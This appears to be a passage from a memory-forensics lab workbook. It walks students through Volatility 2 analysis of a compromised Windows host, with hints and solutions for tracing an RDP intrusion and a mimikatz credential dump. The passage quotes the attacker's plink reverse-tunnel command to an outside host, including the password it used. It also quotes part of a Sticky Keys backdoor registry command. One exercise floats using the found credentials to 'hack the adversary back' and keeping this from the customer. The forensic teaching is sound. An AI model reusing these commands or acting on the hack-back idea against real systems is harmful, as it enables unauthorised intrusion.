String -Value "C:\windows\system32\cmd.exe" -Force
```

c) If you aren't familiar with the backdoor technique used, perform some open-source research, and determine what types of risks are posed by the successful installation of the backdoor.

One technique is called a **Sticky Keys Authentication Bypass**, the other is a **Malicious Service Installation**.

Document your findings.

Exercise 6: Verify the Command & Control

During the analysis of the packet capture, you were able to identify the malicious host that was conducting the command and control (C2), however it's important to be able to confirm the origin and type of this activity, depending on what's still available within the memory image.

You believe that it was the intention of the adversary to establish a remote graphical interactive session to the host, however you're unsure how this was achieved considering the victim's host was not reachable from the Internet; it was assigned a private IP address and was sitting behind a masquerading NAT gateway.

Leveraging your forensic findings so far (from Exercises 1 and 2) attempt to verify your hypothesis, further explaining how the adversary was able to achieve their objective.

1. What was the remote IP address and port used to connect to this host?
2. Was the adversary able to successfully establish an RDP session?
 - If so, what time did it start?
 - How much access did the adversary have once authenticated via RDP?
 - Which user account was used?

▼ Hint

Consider using the `vol2.py pstree` command if appropriate.

▼ Hint

Consider using the vol2.py `cmdline` command if appropriate.

▼ Hint

Consider using the vol2.py `netscan` command if appropriate.

▼ Hint

Consider using the vol2.py `sessions` command if appropriate.

▼ Hint

If you need more ideas, refer to [this](#) volatility cheat sheet.

▼ Solution**▼ pstree**

```
analyst@forensics~$ vol2.py -f memory.dmp
--profile=Win10x64_17763 pstree
```

Name	Pid
PPid Thds Hnds Time	
...	
. 0xffff9b01d570f080:services.exe	604
468 9 0 2019-07-13 14:44:31 UTC+0000	
.. 0xffff9b01d7bb2540:notepadz.exe	8816
604 0 ----- 2019-07-13 15:02:06 UTC+0000	
... 0xffff9b01d74c8080:cmd.exe	8728
8816 1 0 2019-07-13 15:02:06 UTC+0000	
.... 0xffff9b01d7dcd080:conhost.exe	8960
8728 3 0 2019-07-13 15:02:06 UTC+0000	
.... 0xffff9b01d28b5540:plink.exe	7320
8728 4 0 2019-07-13 15:19:23 UTC+0000	
.. 0xffff9b01d5f172c0:svchost.exe	680
604 33 0 2019-07-13 14:44:34 UTC+0000	
... 0xffff9b01d8319540:rdpclip.exe	3564
680 9 0 2019-07-13 15:22:42 UTC+0000	
.. 0xffff9b01d762c080:explorer.exe	4408
5100 94 0 2019-07-13 15:22:43 UTC+0000	
... 0xffff9b01d7550080:cmd.exe	4908
4408 1 0 2019-07-13 15:24:24 UTC+0000	
...	

It's interesting that `notepadz` is misspelled in the first instance, but it

also launches `cmd.exe` and `plink.exe`. The fact `rdpclip.exe` is running is also interesting; this usually indicates a remote desktop (RDP) connection.

The fact `explorer.exe` started *after* anything else is strange; it usually starts when the operating system boots and a user logs in. Even worse that it spawned another `cmd.exe` process. Curious.

▼ cmdline

```
analyst@forensics~$ vol2.py -f memory.dmp
--profile=Win10x64_17763 cmdline -p 7320
Volatility Foundation Volatility Framework 2.6.1
*****
plink.exe pid: 7320
Command line : .\plink.exe 10.1.0.2 -P 22 -C -R
127.0.0.1:12345:10.2.0.2:3389 -l root
```

Well that's not good. This `plink.exe` file has spawned what looks like a reverse shell, likely giving the attacker a foothold in the network on `10.2.0.2` via SSH (port 22) on port 3389 (RDP).

▼ netscan

```
analyst@forensics~$ vol2.py -f memory.dmp
--profile=Win10x64_17763 netscan | grep '10.2.0.2'
Volatility Foundation Volatility Framework 2.6.1
0x9b01d20cd010 TCPv4 10.2.0.2:59814 52.229.207.60:443
CLOSED -1 3884-06-03 12:01:29 UTC+0000
0x9b01d29a5410 TCPv4 10.2.0.2:65300 216.58.196.129:443
CLOSED -1 3884-06-03 12:01:29 UTC+0000
0x9b01d57d87e0 TCPv4 10.2.0.2:50280 54.245.231.161:443
CLOSED -1 3884-06-03 12:01:29 UTC+0000
0x9b01d5f59b20 TCPv4 10.2.0.2:59817 52.229.207.60:443
ESTABLISHED -1 3884-06-03 12:01:29 UTC+0000
0x9b01d737f980 UDPv4 10.2.0.2:50784 *:* 6192
svchost.exe 2019-07-13 15:23:44 UTC+0000
0x9b01d737fd70 UDPv4 10.2.0.2:1900 *:* 6192
svchost.exe 2019-07-13 14:45:07 UTC+0000
0x9b01d800c270 TCPv4 10.2.0.2:59810 52.184.81.54:443
CLOSED -1 3884-06-03 12:01:31 UTC+0000
0xf8067c588270 TCPv4 10.2.0.2:59810 52.184.81.54:443
CLOSED -1 3884-06-03 12:01:31 UTC+0000
```

We know from our previous analysis that `10.2.0.2` is being used by our adversary. Looking at the network connections in memory, we can see there are multiple `CLOSED` connections from that system to external IPs, and one that was still `ESTABLISHED` when the memory image was taken.

▼ sessions

```
analyst@forensics~$ vol2.py -f memory.dmp
--profile=Win10x64_17763 sessions
Volatility Foundation Volatility Framework 2.6.1
...
Process: 8816 notepadz.exe 2019-07-13 15:02:06 UTC+0000
Process: 8728 cmd.exe      2019-07-13 15:02:06 UTC+0000
Process: 8960 conhost.exe 2019-07-13 15:02:06 UTC+0000
Process: 7320 plink.exe    2019-07-13 15:19:23 UTC+0000
Process: 3564 rdpclip.exe 2019-07-13 15:22:42 UTC+0000
Process: 4908 cmd.exe     2019-07-13 15:24:24 UTC+0000
Process: 2100 conhost.exe 2019-07-13 15:24:24 UTC+0000
...
```

Not a lot of additional value here, this just corroborates what we already know.

▼ getsids

```
analyst@forensics~$ vol2.py -f memory.dmp
--profile=Win10x64_17763 getsids -p
8816,8728,7320,3564,4408,4908
Volatility Foundation Volatility Framework 2.6.1
notepadz.exe (8816): S-1-5-18 (Local System)
notepadz.exe (8816): S-1-5-32-544 (Administrators)
notepadz.exe (8816): S-1-1-0 (Everyone)
notepadz.exe (8816): S-1-5-11 (Authenticated Users)
notepadz.exe (8816): S-1-16-16384 (System Mandatory Level)
cmd.exe (8728): S-1-5-18 (Local System)
cmd.exe (8728): S-1-5-32-544 (Administrators)
cmd.exe (8728): S-1-1-0 (Everyone)
cmd.exe (8728): S-1-5-11 (Authenticated Users)
cmd.exe (8728): S-1-16-16384 (System Mandatory Level)
plink.exe (7320): S-1-5-18 (Local System)
plink.exe (7320): S-1-5-32-544 (Administrators)
plink.exe (7320): S-1-1-0 (Everyone)
plink.exe (7320): S-1-5-11 (Authenticated Users)
plink.exe (7320): S-1-16-16384 (System Mandatory Level)
rdpclip.exe (3564):
S-1-5-21-2423855938-2581495550-2013206183-1002
```

rdpclip.exe (3564):**S-1-5-21-2423855938-2581495550-2013206183-513 (Domain Users)**

rdpclip.exe (3564): S-1-1-0 (Everyone)

rdpclip.exe (3564): S-1-5-114 (Local Account (Member of Administrators))

rdpclip.exe (3564): S-1-5-32-545 (Users)

rdpclip.exe (3564): S-1-5-32-544 (Administrators)

rdpclip.exe (3564): S-1-5-32-555 (BUILTIN\Remote Desktop Users)

rdpclip.exe (3564): S-1-5-14 (Remote Interactive Logon)

rdpclip.exe (3564): S-1-5-4 (Interactive)

rdpclip.exe (3564): S-1-5-11 (Authenticated Users)

rdpclip.exe (3564): S-1-5-15 (This Organization)

rdpclip.exe (3564): S-1-5-113 (Local Account)

rdpclip.exe (3564): S-1-5-5-0-12106035 (Logon Session)

rdpclip.exe (3564): S-1-2-0 (Local (Users with the ability to log in locally))

rdpclip.exe (3564): S-1-5-64-10 (NTLM Authentication)

rdpclip.exe (3564): S-1-16-8192 (Medium Mandatory Level)

explorer.exe (4408):**S-1-5-21-2423855938-2581495550-2013206183-1002****explorer.exe (4408):****S-1-5-21-2423855938-2581495550-2013206183-513 (Domain Users)**

explorer.exe (4408): S-1-1-0 (Everyone)

explorer.exe (4408): S-1-5-114 (Local Account (Member of Administrators))

explorer.exe (4408): S-1-5-32-545 (Users)

explorer.exe (4408): S-1-5-32-544 (Administrators)

explorer.exe (4408): S-1-5-32-555 (BUILTIN\Remote Desktop Users)

explorer.exe (4408): S-1-5-14 (Remote Interactive Logon)

explorer.exe (4408): S-1-5-4 (Interactive)

explorer.exe (4408): S-1-5-11 (Authenticated Users)

explorer.exe (4408): S-1-5-15 (This Organization)

explorer.exe (4408): S-1-5-113 (Local Account)

explorer.exe (4408): S-1-5-5-0-12106035 (Logon Session)

explorer.exe (4408): S-1-2-0 (Local (Users with the ability to log in locally))

explorer.exe (4408): S-1-5-64-10 (NTLM Authentication)

explorer.exe (4408): S-1-16-8192 (Medium Mandatory Level)

cmd.exe (4908): S-1-5-21-2423855938-2581495550-2013206183-1002**cmd.exe (4908): S-1-5-21-2423855938-2581495550-2013206183-513****(Domain Users)**

cmd.exe (4908): S-1-1-0 (Everyone)

cmd.exe (4908): S-1-5-114 (Local Account (Member of Administrators))

cmd.exe (4908): S-1-5-32-545 (Users)

cmd.exe (4908): S-1-5-32-544 (Administrators)

cmd.exe (4908): S-1-5-32-555 (BUILTIN\Remote Desktop Users)

cmd.exe (4908): S-1-5-14 (Remote Interactive Logon)

```

cmd.exe (4908): S-1-5-4 (Interactive)
cmd.exe (4908): S-1-5-11 (Authenticated Users)
cmd.exe (4908): S-1-5-15 (This Organization)
cmd.exe (4908): S-1-5-113 (Local Account)
cmd.exe (4908): S-1-5-5-0-12106035 (Logon Session)
cmd.exe (4908): S-1-2-0 (Local (Users with the ability to log
in locally))
cmd.exe (4908): S-1-5-64-10 (NTLM Authentication)
cmd.exe (4908): S-1-16-12288 (High Mandatory Level)

```

Curiouser and curiouser... The fact that `notepadz`, `cmd`, and `plink` are running as `Local System` is super sketchy; that's the highest possible privilege level on a Windows system. Also, `rdpclip`, `explorer`, and `cmd` have remote interactive login by a user with the local SID 1002.

▼ envvars

```

analyst@forensics~$ vol2.py -f memory.dmp
--profile=Win10x64_17763 envvars -p
8816,8728,7320,3564,4408,4908
Volatility Foundation Volatility Framework 2.6.1
Pid      Process                Block                Variable
Value
-----
...
3564 rdpclip.exe           0x000001e032e30fe0 APPDATA
C:\Users\Bob\AppData\Roaming
3564 rdpclip.exe           0x000001e032e30fe0 ComSpec
C:\Windows\system32\cmd.exe
3564 rdpclip.exe           0x000001e032e30fe0 HOMEPATH
\Users\Bob
3564 rdpclip.exe           0x000001e032e30fe0 LOCALAPPDATA
C:\Users\Bob\AppData\Local
3564 rdpclip.exe           0x000001e032e30fe0 TEMP
C:\Users\Bob\AppData\Local\Temp
3564 rdpclip.exe           0x000001e032e30fe0 TMP
C:\Users\Bob\AppData\Local\Temp
3564 rdpclip.exe           0x000001e032e30fe0 USERNAME
Bob
3564 rdpclip.exe           0x000001e032e30fe0 USERPROFILE
C:\Users\Bob
...
4408 explorer.exe         0x000000000b56cb40 APPDATA
C:\Users\Bob\AppData\Roaming
4408 explorer.exe         0x000000000b56cb40 CLIENTNAME

```

```

kali
  4408 explorer.exe          0x000000000b56cb40 ComSpec
C:\Windows\system32\cmd.exe
  4408 explorer.exe          0x000000000b56cb40 HOMEPATH
\Users\Bob
  4408 explorer.exe          0x000000000b56cb40 LOCALAPPDATA
C:\Users\Bob\AppData\Local
  4408 explorer.exe          0x000000000b56cb40 SESSIONNAME
RDP-Tcp#1
  4408 explorer.exe          0x000000000b56cb40 TEMP
C:\Users\Bob\AppData\Local\Temp
  4408 explorer.exe          0x000000000b56cb40 TMP
C:\Users\Bob\AppData\Local\Temp
  4408 explorer.exe          0x000000000b56cb40 USERNAME
Bob
  4408 explorer.exe          0x000000000b56cb40 USERPROFILE
C:\Users\Bob
...
  4908 cmd.exe                0x0000020bf9fc3710 APPDATA
C:\Users\Bob\AppData\Roaming
  4908 cmd.exe                0x0000020bf9fc3710 ComSpec
C:\Windows\system32\cmd.exe
  4908 cmd.exe                0x0000020bf9fc3710 HOMEPATH
\Users\Bob
  4908 cmd.exe                0x0000020bf9fc3710 LOCALAPPDATA
C:\Users\Bob\AppData\Local
  4908 cmd.exe                0x0000020bf9fc3710 TEMP
C:\Users\Bob\AppData\Local\Temp
  4908 cmd.exe                0x0000020bf9fc3710 TMP
C:\Users\Bob\AppData\Local\Temp
  4908 cmd.exe                0x0000020bf9fc3710 USERNAME
Bob
  4908 cmd.exe                0x0000020bf9fc3710 USERPROFILE
C:\Users\Bob

```

Cool, so more corroborating evidence in the environment variables. We can see Bob is definitely the user who got pwned (i.e. the user associated with the SID 1002), the attacker seems to be using a kali machine to RDP into Bob's computer, the session name confirms the RDP connection. Guess we should look for that mimikatz artefact we saw in the `shimcache`; this is probably where the adversary got their initial foothold and then pivoted, performing credential harvesting/password cracking, and then moving laterally within the environment.

Go look at your mft output again for evidence of mimikatz, paying attention to when it executed, and from where.

For more information and the solution, check the solution video.

▼ **Spoilers!**

1. What was the remote IP address and port used to connect to this host?
 - 10.1.0[.]2
2. Was the adversary able to successfully establish an RDP session? (If so, what time did it start?)
 - Yes - 2019-07-13 15:22:43 UTC+0000 (when the explorer.exe process kicked off)
3. How much access did the adversary have once authenticated via RDP?
 - Full access - Local System
4. Which user account was used?
 - Bob (SID 1002)

Document all your findings.

Exercise 7: Staged Secrets

The biggest question that the customer wants an answer to is: *was anything taken?*

Returning to your extracted and parsed MFT, determine what final actions on objectives the adversary conducted. Were they successful? What did they finally prepare for exfiltration?

▼ Hint

Use `vaddump` to export the memory pages of the processes you've identified so far.

```
analyst@forensics~$ mkdir pages; vol2.py -f memory.dmp
--profile=Win10x64_17763 vaddump -p process_id -D pages/
```

▼ Hint

Once you've exported the pages with `vaddump`, use `strings` to find interesting strings within:

```
analyst@forensics~$ strings -el ./pages/*
```

▼ Solution

For more information and the solution, check the solution video.

▼ Spoilers!

```
analyst@forensics~$ mkdir pages
analyst@forensics~$ vol2.py -f memory.dmp
--profile=Win10x64_17763 vaddump -p 4908 -D pages/
analyst@forensics~$ strings -el pages/*
...
C:\Users\Bob\Desktop\x64\passwords.katz
type password.katz
...
```

Given that mimikatz was most likely run from the `cmd.exe` process we saw in the `pstree` output before, we look at the memory pages for that process. We discover that there appears to be a password file of some kind on Bob's desktop, where mimikatz was found :(

Investigate further by looking for evidence of this in your mft output. You'll find this file was created after mimikatz was executed, meaning the

passwords were likely successfully dumped from `lsass.exe` and staged for exfiltration, or to be used for additional malicious activity.

Further investigate the memory pages of the other processes we've identified and see if there's anything else of interest the client should know about.

Document all your findings.

Exercise 8: CCI - Preparing to Go Upstream

You're now reaching the end of your investigation. However, your boss has just asked you: *is there any way we could possibly disrupt the adversary?* You stop and think for a moment and wonder if there was any additional information you missed during Exercise 6.

Find the processes that the adversary used to perform interactive tasking, then, using the `vaddump` command, extract all the process resident memory pages from the memory image. Parse the memory pages (`strings` will work just fine). What did you find? Did you find a way that we could possibly hack the adversary back?

Document your findings, but this time, maybe put them in a second document. It wouldn't be a wise choice to pass on such information to the

customer.

▼ Hint

The process you're looking for is one you've already identified. Investigate them using what you learned about `vaddump` and `strings` in the last exercise.

▼ Solution

The process of interest to us here is the first `cmd.exe` in the `pstree` output, because that's the parent process of the `plink.exe` process:

```
analyst@forensics~$ rm -r ./pages/*
analyst@forensics~$ vol2.py -f memory.dmp
--profile=Win10x64_17763 vaddump -p 8728 -D pages/
analyst@forensics~$ strings -e1 pages/*
...
.\plink.exe 10.1.0.2 -P 22 -C -R
127.0.0.1:12345:10.2.0.2:3389 -l root -pw toor
...
```

When we search for `plink.exe` in the strings output, we find the entire command string, including the password the adversary used: **toor**.

For more information and the solution, check the solution video.